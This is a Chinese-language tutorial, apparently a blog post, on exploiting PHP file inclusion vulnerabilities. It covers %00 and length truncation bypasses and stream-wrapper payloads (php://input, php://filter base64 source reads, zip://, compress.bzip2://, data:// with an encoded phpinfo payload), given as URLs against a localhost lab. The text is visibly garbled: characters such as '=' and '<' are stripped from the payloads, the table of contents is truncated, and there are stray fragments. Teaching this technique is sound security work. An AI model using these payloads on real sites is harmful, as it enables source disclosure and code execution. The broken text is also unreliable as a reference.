限制包含漏洞文件1.2、有限制包含漏洞文件1.2.1、绕过方法1.2.1.1、%00截断1.2.1.2、长度截断

二、远程包含2.1、无限制包含漏洞文件2.2、有限制包含漏洞文件

三、各种协议流提交流3.1、各协议的利用条件和方法3.1.1、php://input3.1.2、file://3.1.3、http://、https://3.1.4、php://3.1.5、php://filter参数详解3.1.6、phar://、zip://、bzip2://、zlib://3.1.7、data://

总结五、涉及资源

urlhttp://lthief.one/1.jspjsp:include

pagehead

传入flag.txt文件参数执行失败因为在当前目录不存在flag.txt.html文件

1.2.1.1、%00截断

00截断是操作系统层的漏洞由于操作系统是C语言或汇编语言编写的这两种语言在定义字符串时都是以\0即0x00作为字符串的结尾。

操作系统在识别字符串时当读取到\0字符时就认为读取到了一个字符串的结束符号。

1.2.1.2、长度截断

超过文件命名256位后面的HTML就没有被识别而flag.txt././被当成flag.txt执行

二、远程包含

在php.ini里有两个重要的参数allow_url_fopen、allow_url_include。

allow_url_fopen默认值是ON。

允许url里的封装协议访问文件allow_url_include默认值是OFF。

不允许包含url里的封装协议包含文件

3.1.1、php://input

php://input可以访问请求的原始数据的只读流将post请求的数据当作php代码执行。

当传入的参数作为文件名打开时可以将参数设为php://input同时post想设置的文件内容php执行时会将post内容当作文件内容。

注当enctype”multipart/form-data”时php://input是无效的。

3.1.2、file://

盘符开头的路径提供的路径将基于当前的工作目录。

file://[文件的绝对路径和文件名]

http://127.0.0.1/include.php?filefile://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

http://127.0.0.1/include.php?file./phpinfo.txt

URL

GET方法以只读访问文件或资源通常用于远程包含。

[http//网络路径和文件名]

http://127.0.0.1/include.php?filehttp://127.0.0.1/phpinfo.txt

3.1.4、php://

streams经常使用的是php://filter和php://inputphp://filter用于读取源码php://input用于执行php代码。

读取文件源码用法

php://filter/readconvert.base64-encode/resource[文件名]

http://127.0.0.1/include.php?filephp://filter/readconvert.base64-encode/resourcephpinfo.php执行php代码用法

php://input

http://127.0.0.1/include.php?filephp://input

[POST

?http://127.0.0.1/include.php?filephp://input

[POST

?3.1.6、phar://、zip://、bzip2://、zlib://

用于读取压缩文件zip://

均属于压缩流可以访问压缩文件中的子文件更重要的是不需要指定后缀名可修改为任意后缀jpg

png

1、zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]#编码为%23

http://127.0.0.1/include.php?filezip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt2、compress.bzip2://file.bz2

http://127.0.0.1/include.php?filecompress.bzip2://D:/soft/phpStudy/WWW/file.jpghttp://127.0.0.1/include.php?filecompress.bzip2://./file.jpg3、compress.zlib://file.gz

http://127.0.0.1/include.php?filecompress.zlib://D:/soft/phpStudy/WWW/file.jpghttp://127.0.0.1/include.php?filecompress.zlib://./file.jpg4、phar://

3.1.7、data://

数据流封装器以传递相应格式的数据。

通常可以用来执行PHP代码。

1、data://text/plain,

http://127.0.0.1/include.php?filedata://text/plain,?php%20phpinfo();?2、data://text/plain;base64,

http://127.0.0.1/include.php?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b四、

伪协议常常用于文件包含漏洞之中。

在php中能够造成文件包含的函数有include、require、include_once、require_once、highlight_file、how_source、file_get_contents、fopen、file、readfile。

include函数可以放在PHP脚本的任意位置一般放在流程控制的处理部分中。

当PHP脚本执行到include指定引入的文件时才将它包含并尝试执行。

当第二次遇到相同文件时PHP还是会重新解释一次。

require函数一般放在PHP脚本的最前面PHP执行前就会先读入require指定引入的文件包含并尝试执行引入的脚本文件。

require的工作方式是提高PHP的执行效率当它在同一个网页中解释过一次后第二次便不会解释。

include_once和require_once函数分别与require

include作用相同不同的是他们在执行到时会先检查目标内容是不是在之前已经导入过如果导入过了那么便不会再次重复引入其同样的内容。

hightfile函数highlight_file(filename,return)

PHP

中的代码的语法高亮版本。

show_source函数该函数是highlight_file函数的别名。

file_get_content函数把整个文件读入一个字符串中。

和

file()

将文件作为一个数组返回。

数组中的每个单元都是文件中相应的一行包括换行符在内。

如果失败则返回

五、涉及资源

https://www.ichunqiu.com/battalion?t1r0http://4.chinalover.sinaapp.com/web7/index.phphttps://www.cnblogs.com/endust/p/11804767.html

#php伪协议https://pan.baidu.com/s/1x_mwVE-xxmoKAvDJ8mRsw

提取码xiao